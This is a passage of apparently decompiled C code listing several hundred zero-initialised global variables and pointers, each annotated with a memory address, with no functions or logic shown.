int32_t (*g122)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x431478
int16_t * g123 = NULL; // 0x431480
int32_t g124 = 0; // 0x431484
int32_t g125 = 0; // 0x433ba0
int32_t g126 = 0; // 0x433ba4
int32_t g127 = 0; // 0x433ba8
int32_t g128 = 0; // 0x433bac
int32_t g129 = 0; // 0x433bb0
char * g130; // 0x433bb4
int32_t g131 = 0; // 0x4362c8
int32_t g132 = 0; // 0x4362cc
int32_t g133 = 0; // 0x4362d0
int32_t g134 = 0; // 0x4362d4
int32_t g135 = 0; // 0x4389f0
int32_t g136 = 0; // 0x4389f4
int32_t g137 = 0; // 0x4389f8
int32_t g138 = 0; // 0x4389fc
int32_t g139 = 0; // 0x438a00
char * g140; // 0x438a04
int32_t g141 = 0; // 0x43b118
int32_t g142 = 0; // 0x43b11c
int32_t g143 = 0; // 0x43b120
int32_t g144 = 0; // 0x43b124
int32_t g145 = 0; // 0x43b128
int32_t g146 = 0; // 0x43b12c
int32_t g147 = 0; // 0x43b130
int32_t g148 = 0; // 0x43d840
int32_t g149 = 0; // 0x43d844
int32_t g150 = 0; // 0x43d848
int32_t g151 = 0; // 0x43d84c
int32_t g152 = 0; // 0x43d850
char * g153; // 0x43d854
int32_t g154 = 0; // 0x43ff68
int32_t g155 = 0; // 0x43ff6c
int32_t g156 = 0; // 0x43ff70
int32_t g157 = 0; // 0x43ff74
int32_t g158 = 0; // 0x43ff78
int32_t g159 = 0; // 0x43ff7c
int32_t g160 = 0; // 0x43ff80
int32_t g161 = 0; // 0x442690
int32_t g162 = 0; // 0x442694
int32_t g163 = 0; // 0x442698
int32_t g164 = 0; // 0x44269c
int32_t g165 = 0; // 0x4426a0
char * g166; // 0x4426a4
int32_t g167 = 0; // 0x444db8
int32_t g168 = 0; // 0x444dbc
int32_t g169 = 0; // 0x444dc0
int32_t g170 = 0; // 0x444dc4
int32_t g171 = 0; // 0x4474e0
int32_t g172 = 0; // 0x4474e4
int32_t g173 = 0; // 0x4474e8
int32_t g174 = 0; // 0x4474ec
int32_t g175 = 0; // 0x4474f0
int16_t * g176 = NULL; // 0x4474f4
int32_t g177 = 0; // 0x449c08
int32_t g178 = 0; // 0x449c0c
int32_t g179 = 0; // 0x449c10
int32_t g180 = 0; // 0x449c14
int32_t g181 = 0; // 0x449c18
char * g182; // 0x449e9c
int32_t g183 = 0; // 0x44c330
int32_t g184 = 0; // 0x44c334
int32_t g185 = 0; // 0x44c338
int32_t g186 = 0; // 0x44c33c
int32_t g187 = 0; // 0x44c340
char * g188; // 0x44c344
int32_t g189 = 0; // 0x44ea58
int32_t g190 = 0; // 0x44ea5c
int32_t g191 = 0; // 0x44ea60
int32_t g192 = 0; // 0x44ea64
int32_t g193 = 0; // 0x44ea68
int16_t * g194 = NULL; // 0x44ea6c
int32_t g195 = 0; // 0x451180
int32_t g196 = 0; // 0x451184
int32_t g197 = 0; // 0x451188
int32_t g198 = 0; // 0x45118c
int32_t g199 = 0; // 0x451190
char * g200; // 0x451194
int32_t g201 = 0; // 0x4538a8
int32_t g202 = 0; // 0x4538ac
int32_t g203 = 0; // 0x4538b0
int32_t g204 = 0; // 0x4538b4
int32_t g205 = 0; // 0x4538b8
int16_t * g206 = NULL; // 0x4538bc
int32_t g207 = 0; // 0x455fd0
int32_t g208 = 0; // 0x455fd4
int32_t g209 = 0; // 0x455fd8
int32_t g210 = 0; // 0x455fdc
int32_t g211 = 0; // 0x455fe0
char * g212; // 0x455fe4
int32_t g213 = 0; // 0x4586f8
int32_t g214 = 0; // 0x4586fc
int32_t g215 = 0; // 0x458700
int32_t g216 = 0; // 0x458704
int32_t g217 = 0; // 0x458708
char * g218; // 0x45870c
int32_t g219 = 0; // 0x45ae20
int32_t g220 = 0; // 0x45ae24
int32_t g221 = 0; // 0x45ae28
int32_t g222 = 0; // 0x45ae2c
int32_t g223 = 0; // 0x45ae30
int16_t * g224 = NULL; // 0x45ae34
int32_t g225 = 0; // 0x45d548
int32_t g226 = 0; // 0x45d54c
int32_t g227 = 0; // 0x45d550
int32_t g228 = 0; // 0x45d554
int32_t g229 = 0; // 0x45d558
int16_t * g230 = NULL; // 0x45d55c
int32_t g231 = 0; // 0x45fc70
int32_t g232 = 0; // 0x45fc74
int32_t g233 = 0; // 0x45fc78
int32_t g234 = 0; // 0x45fc7c
int32_t g235 = 0; // 0x45fc80
char * g236; // 0x45fc84
int32_t g237 = 0; // 0x462398
int32_t g238 = 0; // 0x46239c
int32_t g239 = 0; // 0x4623a0
int32_t g240 = 0; // 0x4623a4
int32_t g241 = 0; // 0x4623a8
char * g242; // 0x4623ac
int32_t g243 = 0; // 0x464ac0
int32_t g244 = 0; // 0x464ac4
int32_t g245 = 0; // 0x464ac8
int32_t g246 = 0; // 0x464acc
int32_t g247 = 0; // 0x464ad0
int16_t * g248 = NULL; // 0x464ad4
int32_t g249 = 0; // 0x4671e8
int32_t g250 = 0; // 0x4671ec
int32_t g251 = 0; // 0x4671f0
int32_t g252 = 0; // 0x4671f4
int32_t g253 = 0; // 0x4671f8
char * g254; // 0x4671fc
int32_t g255 = 0; // 0x469910
int32_t g256 = 0; // 0x469914
int32_t g257 = 0; // 0x469918
int32_t g258 = 0; // 0x46991c
int32_t g259 = 0; // 0x469920
char * g260; // 0x469924
int32_t g261 = 0; // 0x46c038
int32_t g262 = 0; // 0x46c03c
int32_t g263 = 0; // 0x46c040
int32_t g264 = 0; // 0x46c044
int32_t g265 = 0; // 0x46c048
int16_t * g266 = NULL; // 0x46c04c
int32_t g267 = 0; // 0x46e760
int32_t g268 = 0; // 0x46e764
int32_t g269 = 0; // 0x46e768
int32_t g270 = 0; // 0x46e76c
int32_t g271 = 0; // 0x46e770
char * g272; // 0x46e774
int32_t g273 = 0; // 0x470e88
int32_t g274 = 0; // 0x470e8c
int32_t g275 = 0; // 0x470e90
int32_t g276 = 0; // 0x470e94
int32_t g277 = 0; // 0x470e98
char * g278; // 0x470e9c
int32_t g279 = 0; // 0x4735b0
int32_t g280 = 0; // 0x4735b4
int32_t g281 = 0; // 0x4735b8
int32_t g282 = 0; // 0x4735bc
int32_t g283 = 0; // 0x4735c0
int16_t * g284 = NULL; // 0x4735c4
int32_t g285 = 0; // 0x475cd8
int32_t g286 = 0; // 0x475cdc
int32_t g287 = 0; // 0x475ce0
int32_t g288 = 0; // 0x475ce4
int32_t g289 = 0; // 0x475ce8
char * g290; // 0x475cec
int32_t g291 = 0; // 0x478400
int32_t g292 = 0; // 0x478404
int32_t g293 = 0; // 0x478408
int32_t g294 = 0; // 0x47840c
int32_t g295 = 0; // 0x478410
char * g296; // 0x478414
int32_t g297 = 0; // 0x47ab28
int32_t g298 = 0; // 0x47ab2c
int32_t g299 = 0; // 0x47ab30
int32_t g300 = 0; // 0x47ab34
int32_t g301 = 0; // 0x47ab38
int16_t * g302 = NULL; // 0x47ab3c
int32_t g303 = 0; // 0x47d250
int32_t g304 = 0; // 0x47d254
int32_t g305 = 0; // 0x47d258
int32_t g306 = 0; // 0x47d25c
int32_t g307 = 0; // 0x47d260
char * g308; // 0x47d264
int32_t g309 = 0; // 0x47f978
int32_t g310 = 0; // 0x47f97c
int32_t g311 = 0; // 0x47f980
int32_t g312 = 0; // 0x47f984
int32_t g313 = 0; // 0x47f988
char * g314; // 0x47f98c
int32_t g315 = 0; // 0x4820a0
int32_t g316 = 0; // 0x4820a4
int32_t g317 = 0; // 0x4820a8
int32_t g318 = 0; // 0x4820ac
int32_t g319 = 0; // 0x4820b0
int16_t * g320 = NULL; // 0x4820b4
int32_t g321 = 0; // 0x4847c8
int32_t g322 = 0; // 0x4847cc
int32_t g323 = 0; // 0x4847d0
int32_t g324 = 0; // 0x4847d4
int32_t g325 = 0; // 0x4847d8
char * g326; // 0x4847dc
int32_t g327 = 0; // 0x486ef0
int32_t g328 = 0; // 0x486ef4
int32_t g329 = 0; // 0x486ef8
int32_t g330 = 0; // 0x486efc
int32_t g331 = 0; // 0x486f00
char * g332; // 0x486f04
int32_t g333 = 0; // 0x489618
int32_t g334 = 0; // 0x48961c
int32_t g335 = 0; // 0x489620
int32_t g336 = 0; // 0x489624
int32_t g337 = 0; // 0x489628
int16_t * g338 = NULL; // 0x48962c
int32_t g339 = 0; // 0x48bd40
int32_t g340 = 0; // 0x48bd44
int32_t g341 = 0; // 0x48bd48
int32_t g342 = 0; // 0x48bd4c
int32_t g343 = 0; // 0x48bd50
char * g344; // 0x48bd54
int32_t g345 = 0; // 0x48e468
int32_t g346 = 0; // 0x48e46c
int32_t g347 = 0; // 0x48e470
int32_t g348 = 0; // 0x48e474
int32_t g349 = 0; // 0x48e478
char * g350; // 0x48e47c
int32_t g351 = 0; // 0x490b90
int32_t g352 = 0; // 0x490b94
int32_t g353 = 0; // 0x490b98
int32_t g354 = 0; // 0x490b9c
int32_t g355 = 0; // 0x490ba0
int16_t * g356 = NULL; // 0x490ba4
int32_t g357 = 0; // 0x4932b8
int32_t g358 = 0; // 0x4932bc
int32_t g359 = 0; // 0x4932c0
int32_t g360 = 0; // 0x4932c4
int32_t g361 = 0; // 0x4932c8
char * g362; // 0x4932cc
int32_t g363 = 0; // 0x4959e0
int32_t g364 = 0; // 0x4959e4
int32_t g365 = 0; // 0x4959e8
int32_t g366 = 0; // 0x4959ec
int32_t g367 = 0; // 0x4959f0
char * g368; // 0x4959f4
int32_t g369 = 0; // 0x498108
int32_t g370 = 0; // 0x49810c
int32_t g371 = 0; // 0x498110
int32_t g372 = 0; // 0x498114
int32_t g373 = 0; // 0x498118
int16_t * g374 = NULL; // 0x49811c
int32_t g375 = 0; // 0x49a830
int32_t g376 = 0; // 0x49a834
int32_t g377 = 0; // 0x49a838
int32_t g378 = 0; // 0x49a83c
int32_t g379 = 0; // 0x49a840
char * g380; // 0x49a844
int32_t g381 = 0; // 0x49cf58
int32_t g382 = 0; // 0x49cf5c
int32_t g383 = 0; // 0x49cf60
int32_t g384 = 0; // 0x49cf64
int32_t g385 = 0; // 0x49cf68
char * g386; // 0x49cf6c
int32_t g387 = 0; // 0x49f680
int32_t g388 = 0; // 0x49f684
int32_t g389 = 0; // 0x49f688
int32_t g390 = 0; // 0x49f68c
int32_t g391 = 0; // 0x49f690
int16_t * g392 = NULL; // 0x49f694
int32_t g393 = 0; // 0x4a1da8
int32_t g394 = 0; // 0x4a1dac
int32_t g395 = 0; // 0x4a1db0
int32_t g396 = 0; // 0x4a1db4
int32_t g397 = 0; // 0x4a1db8
char * g398; // 0x4a1dbc
int32_t g399 = 0; // 0x4a44d0
int32_t g400 = 0; // 0x4a44d4
int32_t g401 = 0; // 0x4a44d8
int32_t g402 = 0; // 0x4a44dc
int32_t g403 = 0; // 0x4a44e0
char * g404; // 0x4a44e4
int32_t g405 = 0; // 0x4a6bf8
int32_t g406 = 0; // 0x4a6bfc
int32_t g407 = 0; // 0x4a6c00
int32_t g408 = 0; // 0x4a6c04
int32_t g409 = 0; // 0x4a6c08
int16_t * g410 = NULL; // 0x4a6c0c
int32_t g411 = 0; // 0x4a9320
int32_t g412 = 0; // 0x4a9324
int32_t g413 = 0; // 0x4a9328
int32_t g414 = 0; // 0x4a932c
int32_t g415 = 0; // 0x4a9330
char * g416; // 0x4a9334
int32_t g417 = 0; // 0x4aba48
int32_t g418 = 0; // 0x4aba4c
int32_t g419 = 0; // 0x4aba50
int32_t g420 = 0; // 0x4aba54
int32_t g421 = 0; // 0x4aba58
char * g422; // 0x4aba5c
int32_t g423 = 0; // 0x4ae170
int32_t g424 = 0; // 0x4ae174
int32_t g425 = 0; // 0x4ae178
int32_t g426 = 0; // 0x4ae17c
int32_t g427 = 0; // 0x4ae180
int16_t * g428 = NULL; // 0x4ae184
int32_t g429 = 0; // 0x4b0898
int32_t g430 = 0; // 0x4b089c
int32_t g431 = 0; // 0x4b08a0
int32_t g432 = 0; // 0x4b08a4
int32_t g433 = 0; // 0x4b08a8
char * g434; // 0x4b08ac
int32_t g435 = 0; // 0x4b2fc0
int32_t g436 = 0; // 0x4b2fc4
int32_t g437 = 0; // 0x4b2fc8
int32_t g438 = 0; // 0x4b2fcc
int32_t g439 = 0; // 0x4b2fd0
char * g440; // 0x4b2fd4
int32_t g441 = 0; // 0x4b56e8
int32_t g442 = 0; // 0x4b56ec
int32_t g443 = 0; // 0x4b56f0
int32_t g444 = 0; // 0x4b56f4
int32_t g445 = 0; // 0x4b56f8
int16_t * g446 = NULL; // 0x4b56fc
int32_t g447 = 0; // 0x4b7e10
int32_t g448 = 0; // 0x4b7e14
int32_t g449 = 0; // 0x4b7e18
int32_t g450 = 0; // 0x4b7e1c
int32_t g451 = 0; // 0x4ba538
int32_t g452 = 0; // 0x4ba53c
int32_t g453 = 0; // 0x4ba540
int32_t g454 = 0; // 0x4ba544
int32_t g455 = 0; // 0x4bcc60
int32_t g456 = 0; // 0x4bcc64
int32_t g457 = 0; // 0x4bcc68
int32_t g458 = 0; // 0x4bcc6c
int32_t g459 = 0; // 0x4bcc70
char * g460; // 0x4bcc74
int32_t g461 = 0; // 0x4bf388
int32_t g462 = 0; // 0x4bf38c
int32_t g463 = 0; // 0x4bf390
int32_t g464 = 0; // 0x4bf394
int32_t g465 = 0; // 0x4c1ab0
int32_t g466 = 0; // 0x4c1ab4
int32_t g467 = 0; // 0x4c1ab8
int32_t g468 = 0; // 0x4c1abc
int32_t g469 = 0; // 0x4c1ac0
char * g470; // 0x4c1ac4
int32_t g471 = 0; // 0x4c41d8
int32_t g472 = 0; // 0x4c41dc
int32_t g473 = 0; // 0x4c41e0
int32_t g474 = 0; // 0x4c41e4
int32_t g475 = 0; // 0x4c6900
int32_t g476 = 0; // 0x4c6904
int32_t g477 = 0; // 0x4c6908
int32_t g478 = 0; // 0x4c690c
int32_t g479 = 0; // 0x4c9028
int32_t g480 = 0; // 0x4c902c
int32_t g481 = 0; // 0x4c9030
int32_t g482 = 0; // 0x4c9034
int32_t g483 = 0; // 0x4cb750
int32_t g484 = 0; // 0x4cb754
int32_t g485 = 0; // 0x4cb758
int32_t g486 = 0; // 0x4cb75c
int32_t g487 = 0; // 0x4cb760
int32_t g488 = 0; // 0x4cb764
int32_t g489 = 0; // 0x4cb768
int32_t g490 = 0; // 0x4cde78
int32_t g491 = 0; // 0x4cde7c
int32_t g492 = 0; // 0x4cde80
int32_t g493 = 0; // 0x4cde84
int32_t g494 = 0; // 0x4d05a0
int32_t g495 = 0; // 0x4d05a4
int32_t g496 = 0; // 0x4d05a8
int32_t g497 = 0; // 0x4d05ac
int32_t g498 = 0; // 0x4d05b0
int32_t g499 = 0; // 0x4d05b4
int32_t g500 = 0; // 0x4d05b8
int32_t g501 = 0; // 0x4d2cc8
int32_t g502 = 0; // 0x4d2ccc
int32_t g503 = 0; // 0x4d2cd0
int32_t g504 = 0; // 0x4d2cd4
int32_t g505 = 0; // 0x4d2cd8
int32_t g506 = 0; // 0x4d2cdc
int32_t g507 = 0; // 0x4d2ce0
int32_t g508 = 0; // 0x4d53f0
int32_t g509 = 0; // 0x4d53f4
int32_t g510 = 0; // 0x4d53f8
int32_t g511 = 0; // 0x4d53fc
int32_t g512 = 0; // 0x4d7b18
int32_t g513 = 0; // 0x4d7b1c
int32_t g514 = 0; // 0x4d7b20
int32_t g515 = 0; // 0x4d7b24
int32_t g516 = 0; // 0x4d7b28
int32_t g517 = 0; // 0x4d7b2c
int32_t g518 = 0; // 0x4d7b30
int32_t g519 = 0; // 0x4da240
int32_t g520 = 0; // 0x4da244
int32_t g521 = 0; // 0x4da248
int32_t g522 = 0; // 0x4da24c
int32_t g523 = 0; // 0x4dc968
int32_t g524 = 0; // 0x4dc96c
int32_t g525 = 0; // 0x4dc970
int32_t g526 = 0; // 0x4dc974
int32_t g527 = 0; // 0x4df090
int32_t g528 = 0; // 0x4df094
int32_t g529 = 0; // 0x4df098
int32_t g530 = 0; // 0x4df09c
int32_t g531 = 0; // 0x4df0a0
int32_t g532 = 0; // 0x4df0a4
int32_t g533 = 0; // 0x4df0a8
int32_t g534 = 0; // 0x4e17b8
int32_t g535 = 0; // 0x4e17bc
int32_t g536 = 0; // 0x4e17c0
int32_t g537 = 0; // 0x4e17c4
int32_t g538 = 0; // 0x4e17c8
int32_t g539 = 0; // 0x4e17cc
int32_t g540 = 0; // 0x4e17d0
int32_t g541 = 0; // 0x4e3ee0
int32_t g542 = 0; // 0x4e3ee4
int32_t g543 = 0; // 0x4e3ee8
int32_t g544 = 0; // 0x4e3eec
int32_t g545 = 0; // 0x4e6608
int32_t g546 = 0; // 0x4e660c
int32_t g547 = 0; // 0x4e6610
int32_t g548 = 0; // 0x4e6614
int32_t g549 = 0; // 0x4e8d30
int32_t g550 = 0; // 0x4e8d34
int32_t g551 = 0; // 0x4e8d38
int32_t g552 = 0; // 0x4e8d3c
int32_t g553 = 0; // 0x4e8d40
int32_t g554 = 0; // 0x4e8d44
int32_t g555 = 0; // 0x4e8d48
int32_t g556 = 0; // 0x4eb458
int32_t g557 = 0; // 0x4eb45c
int32_t g558 = 0; // 0x4eb460
int32_t g559 = 0; // 0x4eb464
int32_t g560 = 0; // 0x4eb468
int32_t g561 = 0; // 0x4eb46c
int32_t g562 = 0; // 0x4eb470
int32_t g563 = 0; // 0x4edb80
int32_t g564 = 0; // 0x4edb84
int32_t g565 = 0; // 0x4edb88
int32_t g566 = 0; // 0x4edb8c
int32_t g567 = 0; // 0x4f02a8
int32_t g568 = 0; // 0x4f02ac
int32_t g569 = 0; // 0x4f02b0
int32_t g570 = 0; // 0x4f02b4
int32_t g571 = 0; // 0x4f29d0
int32_t g572 = 0; // 0x4f29d4
int32_t g573 = 0; // 0x4f29d8
int32_t g574 = 0; // 0x4f29dc
int32_t g575 = 0; // 0x4f29e0
int32_t g576 = 0; // 0x4f29e4
int32_t g577 = 0; // 0x4f29e8
int32_t g578 = 0; // 0x4f50f8
int32_t g579 = 0; // 0x4f50fc
int32_t g580 = 0; // 0x4f5100
int32_t g581 = 0; // 0x4f5104
int32_t g582 = 0; // 0x4f7820
int32_t g583 = 0; // 0x4f7824
int32_t g584 = 0; // 0x4f7828
int32_t g585 = 0; // 0x4f782c
int32_t g586 = 0; // 0x4f7830
int32_t g587 = 0; // 0x4f7834
int32_t g588 = 0; // 0x4f7838
int32_t g589 = 0; // 0x4f9f48
int32_t g590 = 0; // 0x4f9f4c
int32_t g591 = 0; // 0x4f9f50
int32_t g592 = 0; // 0x4f9f54
int32_t g593 = 0; // 0x4fc670
int32_t g594 = 0; // 0x4fc674
int32_t g595 = 0; // 0x4fc678
int32_t g596 = 0; // 0x4fc67c
int32_t g597 = 0; // 0x4fc680
int32_t g598 = 0; // 0x4fc684
int32_t g599 = 0; // 0x4fc688
int32_t g600 = 0; // 0x4fed98
int32_t g601 = 0; // 0x4fed9c
int32_t g602 = 0; // 0x4feda0
int32_t g603 = 0; // 0x4feda4
int32_t g604 = 0; // 0x5014c0
int32_t g605 = 0; // 0x5014c4
int32_t g606 = 0; // 0x5014c8
int32_t g607 = 0; // 0x5014cc
int32_t g608 = 0; // 0x5014d0
int32_t g609 = 0; // 0x5014d4
int32_t g610 = 0; // 0x5014d8
int32_t g611 = 0; // 0x503be8
int32_t g612 = 0; // 0x503bec
int32_t g613 = 0; // 0x503bf0
int32_t g614 = 0; // 0x503bf4
int32_t g615 = 0; // 0x506000
int32_t g616 = 0; // 0x506310
int32_t g617 = 0; // 0x506314
int32_t g618 = 0; // 0x506318
int32_t g619 = 0; // 0x50631c
int32_t g620 = 0; // 0x506320
int32_t g621 = 0; // 0x506324
int32_t g622 = 0; // 0x506328
int32_t g623 = 0; // 0x508a38
int32_t g624 = 0; // 0x508a3c
int32_t g625 = 0; // 0x508a40
int32_t g626 = 0; // 0x508a44
int32_t g627 = 0; // 0x508a48
char * g628; // 0x508a4c
int32_t g629 = 0; // 0x50b160
int32_t g630 = 0; // 0x50b164
int32_t g631 = 0; // 0x50b168
int32_t g632 = 0; // 0x50b16c
int32_t g633 = 0; // 0x50d800
int32_t g634 = 0; // 0x50d888
int32_t g635 = 0; // 0x50d88c
int32_t g636 = 0; // 0x50d890
int32_t g637 = 0; // 0x50d894
int32_t g638 = 0; // 0x50d898
char * g639; // 0x50d89c
int32_t g640 = 0; // 0x50ffb0
int32_t g641 = 0; // 0x50ffb4
int32_t g642 = 0; // 0x50ffb8
int32_t g643 = 0; // 0x50ffbc
int32_t g644 = 0; // 0x5126d8
int32_t g645 = 0; // 0x5126dc
int32_t g646 = 0; // 0x5126e0
int32_t g647 = 0; // 0x5126e4
int32_t g648 = 0; // 0x514e00
int32_t g649 = 0; // 0x514e04
int32_t g650 = 0; // 0x514e08
int32_t g651 = 0; // 0x514e0c
int32_t g652 = 0; // 0x517528
int32_t g653 = 0; // 0x51752c
int32_t g654 = 0; // 0x517530
int32_t g655 = 0; // 0x517534
int32_t g656 = 0; // 0x517538
int32_t g657 = 0; // 0x51753c
int32_t g658 = 0; // 0x517540
int32_t g659 = 0; // 0x519c50
int32_t g660 = 0; // 0x519c54
int32_t g661 = 0; // 0x519c58
int32_t g662 = 0; // 0x519c5c
int32_t g663 = 0; // 0x51c378
int32_t g664 = 0; // 0x51c37c
int32_t g665 = 0; // 0x51c380
int32_t g666 = 0; // 0x51c384
int32_t g667 = 0; // 0x51eaa0
int32_t g668 = 0; // 0x51eaa4
int32_t g669 = 0; // 0x51eaa8
int32_t g670 = 0; // 0x51eaac
int32_t g671 = 0; // 0x51eab0
int32_t g672 = 0; // 0x51eab4
int32_t g673 = 0; // 0x51eab8
int32_t g674 = 0; // 0x5211c8
int32_t g675 = 0; // 0x5211cc
int32_t g676 = 0; // 0x5211d0
int32_t g677 = 0; // 0x5211d4
int32_t g678 = 0; // 0x5238f0
int32_t g679 = 0; // 0x5238f4
int32_t g680 = 0; // 0x5238f8
int32_t g681 = 0; // 0x5238fc
int32_t g682 = 0; // 0x523900
int32_t g683 = 0; // 0x523904
int32_t g684 = 0; // 0x523908
int32_t g685 = 0; // 0x526018
int32_t g686 = 0; // 0x52601c
int32_t g687 = 0; // 0x526020
int32_t g688 = 0; // 0x526024
int32_t g689 = 0; // 0x528740
int32_t g690 = 0; // 0x528744
int32_t g691 = 0; // 0x528748
int32_t g692 = 0; // 0x52874c
int32_t g693 = 0; // 0x528750
int32_t g694 = 0; // 0x528754
int32_t g695 = 0; // 0x528758
int32_t g696 = 0; // 0x52ae68
int32_t g697 = 0; // 0x52ae6c
int32_t g698 = 0; // 0x52ae70
int32_t g699 = 0; // 0x52ae74
int32_t g700 = 0; // 0x52ae78
int32_t g701 = 0; // 0x52ae7c
int32_t g702 = 0; // 0x52ae80
int32_t g703 = 0; // 0x52d590
int32_t g704 = 0; // 0x52d594
int32_t g705 = 0; // 0x52d598
int32_t g706 = 0; // 0x52d59c
int32_t g707 = 0; // 0x52fcb8
int32_t g708 = 0; // 0x52fcbc
int32_t g709 = 0; // 0x52fcc0
int32_t g710 = 0; // 0x52fcc4
int32_t g711 = 0; // 0x52fcc8
int16_t * g712 = NULL; // 0x52fccc
int32_t g713 = 0; // 0x5323e0
int32_t g714 = 0; // 0x5323e4
int32_t g715 = 0; // 0x5323e8
int32_t g716 = 0; // 0x5323ec
int32_t g717 = 0; // 0x534b08
int32_t g718 = 0; // 0x534b0c
int32_t g719 = 0; // 0x534b10
int32_t g720 = 0; // 0x534b14
int32_t g721 = 0; // 0x534b18
int16_t * g722 = NULL; // 0x534b1c
int32_t g723 = 0; // 0x537230
int32_t g724 = 0; // 0x537234
int32_t g725 = 0; // 0x537238
int32_t g726 = 0; // 0x53723c
int32_t g727 = 0; // 0x537240
char * g728; // 0x537244
int32_t g729 = 0; // 0x539958
int32_t g730 = 0; // 0x53995c
int32_t g731 = 0; // 0x539960
int32_t g732 = 0; // 0x539964
int32_t g733 = 0; // 0x539968
char * g734; // 0x53996c
int32_t g735 = 0; // 0x53c080
int32_t g736 = 0; // 0x53c084
int32_t g737 = 0; // 0x53c088
int32_t g738 = 0; // 0x53c08c
int32_t g739 = 0; // 0x53e7a8
int32_t g740 = 0; // 0x53e7ac
int32_t g741 = 0; // 0x53e7b0
int32_t g742 = 0; // 0x53e7b4
int32_t g743 = 0; // 0x53e7b8
char * g744; // 0x53e7bc
int32_t g745 = 0; // 0x540ed0
int32_t g746 = 0; // 0x540ed4
int32_t g747 = 0; // 0x540ed8
int32_t g748 = 0; // 0x540edc
int32_t g749 = 0; // 0x540ee0
char * g750; // 0x540ee4
int32_t g751 = 0; // 0x5435f8
int32_t g752 = 0; // 0x5435fc
int32_t g753 = 0; // 0x543600
int32_t g754 = 0; // 0x543604
int32_t g755 = 0; // 0x543608
char * g756; // 0x54360c
int32_t g757 = 0; // 0x545d20
int32_t g758 = 0; // 0x545d24
int32_t g759 = 0; // 0x545d28
int32_t g760 = 0; // 0x545d2c
int32_t g761 = 0; // 0x545d30
char * g762; // 0x545d34
int32_t g763 = 0; // 0x548448
int32_t g764 = 0; // 0x54844c
int32_t g765 = 0; // 0x548450
int32_t g766 = 0; // 0x548454
int32_t g767 = 0; // 0x548458
char * g768; // 0x54845c
int32_t g769 = 0; // 0x54ab70
int32_t g770 = 0; // 0x54ab74
int32_t g771 = 0; // 0x54ab78
int32_t g772 = 0; // 0x54ab7c
int32_t g773 = 0; // 0x54ab80
char * g774; // 0x54ab84
int32_t g775 = 0; // 0x54d298
int32_t g776 = 0; // 0x54d29c